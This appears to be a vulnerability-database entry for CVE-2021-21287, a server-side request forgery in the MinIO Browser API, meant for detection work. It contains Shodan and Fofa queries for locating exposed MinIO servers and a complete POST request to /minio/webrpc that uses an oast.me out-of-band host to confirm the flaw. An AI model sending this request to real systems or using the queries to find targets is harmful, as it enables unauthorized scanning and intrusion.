🔙 목록으로 돌아가기

CVE-2021-21287: MinIO Browser API - Server-Side Request Forgery

TitleMinIO Browser API - Server-Side Request Forgery
Authorpikpikcu
SeverityHigh
ImpactSuccessful exploitation of this vulnerability could allow an attacker to make arbitrary requests on behalf of the server, potentially leading to unauthorized access or data leakage.
RemediationApply the latest security patches or updates provided by MinIO to fix this vulnerability.
CVSS Score7.7
EPSS Score0.91999
CVE IDCVE-2021-21287
CWE IDCWE-918
Shodan Queryhttp.title:"minio browser"cpe:"cpe:2.3:a:minio:minio"http.title:"minio console"
Fofa Querytitle="minio console"app="minio"title="minio browser"
Tags cve cve2021 minio ssrf oast vuln

🔍 Vulnerability Description

MinIO Browser API before version RELEASE.2021-01-30T00-20-58Z contains a server-side request forgery vulnerability.

🌐 HTTP Request

POST /minio/webrpc HTTP/1.1
Host: d5jn581le0o2cs0h6v40iyqtybqrjmdjq.oast.me
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2656.18 Safari/537.36
Connection: close
Content-Length: 76
Content-Type: application/json
Accept-Encoding: gzip

{"id":1,"jsonrpc":"2.0","params":{"token":  "Test"},"method":"web.LoginSTS"}

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-21287.yaml

🦈 Packet Capture: ⬇️ Download cve-2021-21287.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A